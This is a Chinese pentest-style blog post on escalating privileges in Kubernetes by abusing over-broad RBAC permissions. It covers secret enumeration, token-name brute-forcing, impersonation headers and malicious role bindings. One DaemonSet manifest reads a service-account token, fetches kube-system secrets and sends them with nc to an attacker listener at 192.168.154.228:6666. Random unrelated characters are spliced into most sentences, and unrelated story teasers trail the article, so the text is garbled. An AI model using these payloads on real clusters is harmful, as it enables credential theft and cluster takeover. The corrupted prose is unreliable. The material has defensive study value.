K8s提權(quán)之RBAC權(quán)限濫用

本文首發(fā)于火線Zone:https://zone.huoxian.cn/?sort=newest

作者:今天R了嗎

在K8s中RBAC是常用的授權(quán)模式肠仪,如果在配置RBAC時(shí)分配了“過大”資源對(duì)象訪問權(quán)限可導(dǎo)致權(quán)限濫用來提權(quán),以至于攻擊者擴(kuò)大戰(zhàn)果,滲透集群。

如下是一些RBAC相關(guān)的筆記。

k8s的RBAC

RBAC - 基于角色的訪問控制赫编。

RBAC使用rbac.authorization.k8s.io API Group 來實(shí)現(xiàn)授權(quán)決策,允許管理員通過 Kubernetes API 動(dòng)態(tài)配置策略,要啟用RBAC垒拢,需要在 apiserver 中添加參數(shù)--authorization-mode=RBAC,如果使用的kubeadm安裝的集群火惊,1.6 版本以上的都默認(rèn)開啟了RBAC:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"

1655368658-293387-image

RBAC相關(guān)對(duì)象

K8s所有的資源對(duì)象都是模型化的API對(duì)象求类,允許執(zhí)行CRUD,RBAC也有相關(guān)API對(duì)象屹耐,像Role尸疆、ClusterRole對(duì)象都是K8s內(nèi)部的 API 資源,可以使用kubectl相關(guān)的命令來進(jìn)行操作:

  • RoleClusterRole:角色和集群角色张症,這兩個(gè)對(duì)象都包含上面的 Rules 元素仓技,二者的區(qū)別在于,在 Role 中俗他,定義的規(guī)則只適用于單個(gè)命名空間脖捻,也就是和 namespace 關(guān)聯(lián)的,而 ClusterRole 是集群范圍內(nèi)的兆衅,因此定義的規(guī)則不受命名空間的約束地沮。
  • RoleBindingClusterRoleBinding:角色綁定和集群角色綁定嗜浮,簡單來說就是把聲明的 Subject 和我們的 Role 進(jìn)行綁定的過程(給某個(gè)用戶綁定上操作的權(quán)限),二者的區(qū)別也是作用范圍的區(qū)別:RoleBinding 只會(huì)影響到當(dāng)前 namespace 下面的資源操作權(quán)限摩疑,而 ClusterRoleBinding 會(huì)影響到所有的 namespace危融。

舉一些RBAC使用的例子。

創(chuàng)建一個(gè)只能訪問固定namespace的的hx用戶

1.新創(chuàng)建一個(gè)用戶憑證

給hx用戶創(chuàng)建一個(gè)私鑰:

openssl genrsa -out hx.key 2048

再使用這個(gè)私鑰創(chuàng)建一個(gè)證書簽名請(qǐng)求文件,-subj參數(shù)后是用戶名和組(CN表示用戶名雷袋,O表示組):

openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"

然后再使用K8s的CA證書來批準(zhǔn)上面的證書請(qǐng)求:


1655368756-280293-image

這時(shí)候證書文件生成成功:

$ ls h*                                                                                                              ─╯
hx.crt  hx.csr  hx.key

現(xiàn)在使用創(chuàng)建的證書和私鑰來在集群中創(chuàng)建新的憑證和上下文(Context):

sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key

1655368774-478239-image

為hx用戶設(shè)置新的 Context:

$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx                  ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-role
  namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
  resources: ["deployments", "replicasets", "pods"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']

其中幾個(gè)重要的字段:

  • apiGroups:其中的apiGroups: ["", "extensions", "apps"]為什么這么寫吉殃?是因?yàn)橥ㄟ^https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文檔查詢得知,Pod屬于 core API Group(為空即可)楷怒,Deployment屬于 apps API Group蛋勺,ReplicaSets屬于extensionsAPI Group。

  • verbs:可以對(duì)這些資源對(duì)象執(zhí)行的操作,如果是所有操作就用*代替鸠删。

創(chuàng)建hx-role這個(gè)Role:


1655368799-776330-image

2.創(chuàng)建角色權(quán)限綁定

將hx用戶和這個(gè)role綁定起來:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: hx-rolebinding
  namespace: kube-system
subjects:
- kind: User
  name: hx
  apiGroup: ""
roleRef:
  kind: Role
  name: hx-role
  apiGroup: ""
1655369676-913803-image

Subject字段是主題抱完,對(duì)應(yīng)在集群中嘗試操作的對(duì)象,集群中定義了3種類型的主題資源:

  • User Account:用戶刃泡,這是有外部獨(dú)立服務(wù)進(jìn)行管理的巧娱,管理員進(jìn)行私鑰的分配,用戶可以使用 KeyStone或者 Goolge 帳號(hào)烘贴,甚至一個(gè)用戶名和密碼的文件列表也可以禁添。對(duì)于用戶的管理集群內(nèi)部沒有一個(gè)關(guān)聯(lián)的資源對(duì)象,所以用戶不能通過集群內(nèi)部的 API 來進(jìn)行管理
  • Group:組庙楚,這是用來關(guān)聯(lián)多個(gè)賬戶的上荡,集群中有一些默認(rèn)創(chuàng)建的組,比如cluster-admin
  • Service Account:服務(wù)帳號(hào)馒闷,通過Kubernetes API 來管理的一些用戶帳號(hào)酪捡,和 namespace 進(jìn)行關(guān)聯(lián)的,適用于集群內(nèi)部運(yùn)行的應(yīng)用程序纳账,需要通過 API 來完成權(quán)限認(rèn)證逛薇,所以在集群內(nèi)部進(jìn)行權(quán)限操作,我們都需要使用到 ServiceAccount疏虫,這也是我們這節(jié)課的重點(diǎn)

現(xiàn)在使用hx用戶來操作集群資源,這個(gè)時(shí)候不需要指定namespace永罚,因?yàn)橐呀?jīng)給用戶分配了權(quán)限:

sudo kubectl get pods --context=hx-context

1655369689-712432-image

創(chuàng)建一個(gè)只能訪問固定namespace的的hx-sa的ServiceAccount

Subject字段還可以是ServiceAccount,對(duì)ServiceAccount來進(jìn)行角色綁定卧秘。

1.創(chuàng)建一個(gè)ServiceAccount對(duì)象

sudo kubectl create sa hx-sa -n kube-system

2.創(chuàng)建角色

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-sa-role
  namespace: kube-system
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
1655369785-171569-image

3.創(chuàng)建角色綁定

kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: hx-sa-rolebinding
  namespace: kube-system
subjects:
- kind: ServiceAccount
  name: hx-sa
  namespace: kube-system
roleRef:
  kind: Role
  name: hx-sa-role
  apiGroup: rbac.authorization.k8s.io
1655369801-701896-image

這時(shí)候可以使用sa賬戶的token去訪問apiserver的資源了:

sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d
1655369817-921180-image

創(chuàng)建ClusterRoleBinding

如果需要?jiǎng)?chuàng)建一個(gè)可以訪問所有namespace的角色呢袱,就可以使用ClusterRole 和 ClusterRoleBinding 這兩種資源對(duì)象了。

sa:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: hx-sa2
  namespace: kube-system

ClusterRoleBinding 對(duì)象:

kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
  name: hx-sa2
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

這里是直接使用的cluster-admin 這個(gè)對(duì)象(Kubernetes集群內(nèi)置的 ClusterRole 對(duì)象)而不是單獨(dú)新建的ClusterRole對(duì)象翅敌。內(nèi)置的集群角色和集群角色綁定都可以查看

kubectl get clusterrole
kubectl get clusterrolebinding
1655369837-205098-image

RBAC權(quán)限濫用提權(quán)

權(quán)限濫用主要在對(duì)特定資源有特定操作的情況下羞福,可以有特定的權(quán)限提升。
對(duì)哪里資源有哪些操作權(quán)限通過上面已經(jīng)說了蚯涮,看rules的字段內(nèi)容即可治专,配置resourcesverbs都為*那不用說卖陵,所有資源都可以進(jìn)行任意操作。

1655370048-491869-image

枚舉當(dāng)前RBAC權(quán)限

在指定當(dāng)前通過滲透得到用戶憑據(jù)或者sa的憑據(jù)后张峰,可以先枚舉當(dāng)前有哪些權(quán)限:

[upl-
1655372400-914302-image

也可以使用curl對(duì)apiserver的api進(jìn)行訪問來區(qū)別當(dāng)前的權(quán)限:


1655371873-47175-image

枚舉之后應(yīng)該對(duì)當(dāng)前憑據(jù)對(duì)資源的操作有個(gè)數(shù)了泪蔫,下面列舉在分配權(quán)限時(shí),哪些情況下有提權(quán)提升的可能喘批。

create pods權(quán)限

resources: ["*"] verbs: ["create"]resources為*或者為pods的情況下撩荣,verbs是create,在集群中可以創(chuàng)建任意資源饶深,比如像pods婿滓,roles.而創(chuàng)建pods的命名空間也取決你role中metadata.namespace的值:

1655370509-489699-image

如果有create權(quán)限,常見攻擊手法就是創(chuàng)建掛載根目錄的pod粥喜,跳到node:


1655372021-455993-image

list secrets權(quán)限

resources: ["*"] verbs: ["list"]resources為*或者為secrets的情況下,verbs是list,在集群中可以列出其他user的secrets橘券,一般拿來尋找特權(quán)賬號(hào)憑據(jù)额湘。

具有l(wèi)ist權(quán)限或者說是list secrets權(quán)限的role可以列出集群中重要的secrets,包括管理的keys(JWT):


1655370645-704606-image

利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret權(quán)限

resources: ["*"] verbs: ["get"]: resources為*或者為secrets的情況下旁舰,verbs是get锋华,get可以在集群中獲得其他service accounts的secrets。

如下定義Role的resources字段為*或者secrets對(duì)象箭窜,并且verbs為get毯焕,這時(shí)候有權(quán)限獲得其他secrets。


1655370732-343714-image

get權(quán)限能訪問的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一樣磺樱,get需要知道secrets的id才能讀:

1655370753-639383-image

圖出處:list和get來竊取憑據(jù)的區(qū)別:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

這時(shí)候用讀secrets來攻擊的話常見手法是讀默認(rèn)的sa的token,默認(rèn)有這些sa:


1655370867-76480-image

對(duì)應(yīng)的token:

kubectl -n kube-system get secret -n kube-system

1655370890-300354-image

可以看到每個(gè)sa的token都是sa的name-token-隨機(jī)五個(gè)字符,

其中隨機(jī)的字符是由數(shù)字和字母組合纳猫,特定的27個(gè)字符:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

1655370903-971151-image

27的5次方也是14,348,907可能,寫個(gè)py腳本的迭代器爆破即可:
1655370950-280471-image

get list watch secrets權(quán)限

resources: ["*"] verbs: ["get","list","watch"]:resources字段為*或者secrets的話可以利用這三個(gè)權(quán)限竹捉,來創(chuàng)建一個(gè)惡意pod后通過掛載secrets以至獲取別人的secrets芜辕,然后外帶:

1655371003-703490-image
1655371029-29189-image

這里使用automountServiceAccountToken將特權(quán)服務(wù)帳戶的令牌掛載到 pod,使用令牌獲取拿到所有secrets后用nc傳到攻擊者監(jiān)聽端口块差,當(dāng)前也可以使用其他方式帶外:

1655371040-16623-image

圖出處侵续,創(chuàng)建一個(gè)"hot pod"來竊取憑據(jù):https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate權(quán)限

用戶可以通過模擬標(biāo)頭充當(dāng)另一個(gè)用戶。這些讓請(qǐng)求手動(dòng)覆蓋請(qǐng)求身份驗(yàn)證的用戶信息憨闰。例如状蜗,管理員可以使用此功能通過臨時(shí)模擬另一個(gè)用戶并查看請(qǐng)求是否被拒絕來調(diào)試授權(quán)策略。

以下 HTTP 標(biāo)頭可用于執(zhí)行模擬請(qǐng)求:

  • Impersonate-User:要充當(dāng)?shù)挠脩裘?/li>
  • Impersonate-Group:要充當(dāng)?shù)慕M名鹉动≡玻可以多次提供設(shè)置多個(gè)組⊙雕桑可選的眶根。需要“模擬用戶”蜀铲。
  • Impersonate-Extra-( extra name ):用于將額外字段與用戶關(guān)聯(lián)的動(dòng)態(tài)標(biāo)題∈舭伲可選的记劝。需要“模擬用戶”。
  • Impersonate-Uid:代表被模擬用戶的唯一標(biāo)識(shí)符族扰⊙岢螅可選的。需要“模擬用戶”渔呵。Kubernetes 對(duì)此字符串沒有任何格式要求怒竿。

有了Impersonate權(quán)限攻擊者可以模擬一個(gè)有特權(quán)的賬戶或者組:
Role:

1655371467-38911-image

binding:

1655371484-244657-image

模擬用戶的操作是通過調(diào)用K8s API 的Header來指定的,kubectl可以加入--as參數(shù):

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

請(qǐng)求apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

其他API資源對(duì)象的create權(quán)限濫用

如果當(dāng)前Role的權(quán)限扩氢,是其他API對(duì)象的創(chuàng)建耕驰,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs等录豺,都是可以進(jìn)行創(chuàng)建然后在containers.args字段加入執(zhí)行的e惡意命令:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

其他創(chuàng)建pod的方法具體可以查看pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates

Bind權(quán)限

用有bind權(quán)限允許用戶將高角色綁定到當(dāng)前已經(jīng)被控制的帳戶導(dǎo)致權(quán)限提權(quán)朦肘。

下面的ClusterRole使用了bind權(quán)限,允許用戶創(chuàng)建一個(gè)與管理ClusterRole(默認(rèn)的高特權(quán)角色)的RoleBinding双饥,并添加任何用戶媒抠,包括自己,到這個(gè)管理ClusterRole:


1655372141-119401-image

那么就有可能創(chuàng)造出惡意角色binging咏花,它將管理員角色綁定到現(xiàn)在已經(jīng)被控制的帳戶:

1655372177-891382-image

使用kubectl指定token或者curl到apiserver來完成綁定:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \ 
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
 -d @malicious-RoleBinging.json

然后當(dāng)前賬戶就是高權(quán)限角色趴生,自然可以列出secret等:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市昏翰,隨后出現(xiàn)的幾起案子苍匆,更是在濱河造成了極大的恐慌,老刑警劉巖矩父,帶你破解...
    沈念sama閱讀 219,188評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件锉桑,死亡現(xiàn)場離奇詭異,居然都是意外死亡窍株,警方通過查閱死者的電腦和手機(jī)民轴,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,464評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來球订,“玉大人后裸,你說我怎么就攤上這事∶疤玻” “怎么了微驶?”我有些...
    開封第一講書人閱讀 165,562評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我因苹,道長苟耻,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,893評(píng)論 1 295
  • 正文 為了忘掉前任扶檐,我火速辦了婚禮凶杖,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘款筑。我一直安慰自己智蝠,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,917評(píng)論 6 392
  • 文/花漫 我一把揭開白布奈梳。 她就那樣靜靜地躺著杈湾,像睡著了一般。 火紅的嫁衣襯著肌膚如雪攘须。 梳的紋絲不亂的頭發(fā)上漆撞,一...
    開封第一講書人閱讀 51,708評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音于宙,去河邊找鬼叫挟。 笑死,一個(gè)胖子當(dāng)著我的面吹牛限煞,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播员凝,決...
    沈念sama閱讀 40,430評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼署驻,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼!你這毒婦竟也來了健霹?” 一聲冷哼從身側(cè)響起旺上,我...
    開封第一講書人閱讀 39,342評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎糖埋,沒想到半個(gè)月后宣吱,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,801評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡瞳别,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,976評(píng)論 3 337
  • 正文 我和宋清朗相戀三年征候,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片祟敛。...
    茶點(diǎn)故事閱讀 40,115評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡疤坝,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出馆铁,到底是詐尸還是另有隱情跑揉,我是刑警寧澤,帶...
    沈念sama閱讀 35,804評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站历谍,受9級(jí)特大地震影響现拒,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜望侈,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,458評(píng)論 3 331
  • 文/蒙蒙 一印蔬、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧甜无,春花似錦扛点、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,008評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至奥帘,卻和暖如春铜邮,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背寨蹋。 一陣腳步聲響...
    開封第一講書人閱讀 33,135評(píng)論 1 272
  • 我被黑心中介騙來泰國打工松蒜, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人已旧。 一個(gè)月前我還...
    沈念sama閱讀 48,365評(píng)論 3 373
  • 正文 我出身青樓秸苗,卻偏偏與公主長得像,于是被迫代替她去往敵國和親运褪。 傳聞我的和親對(duì)象是個(gè)殘疾皇子惊楼,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,055評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容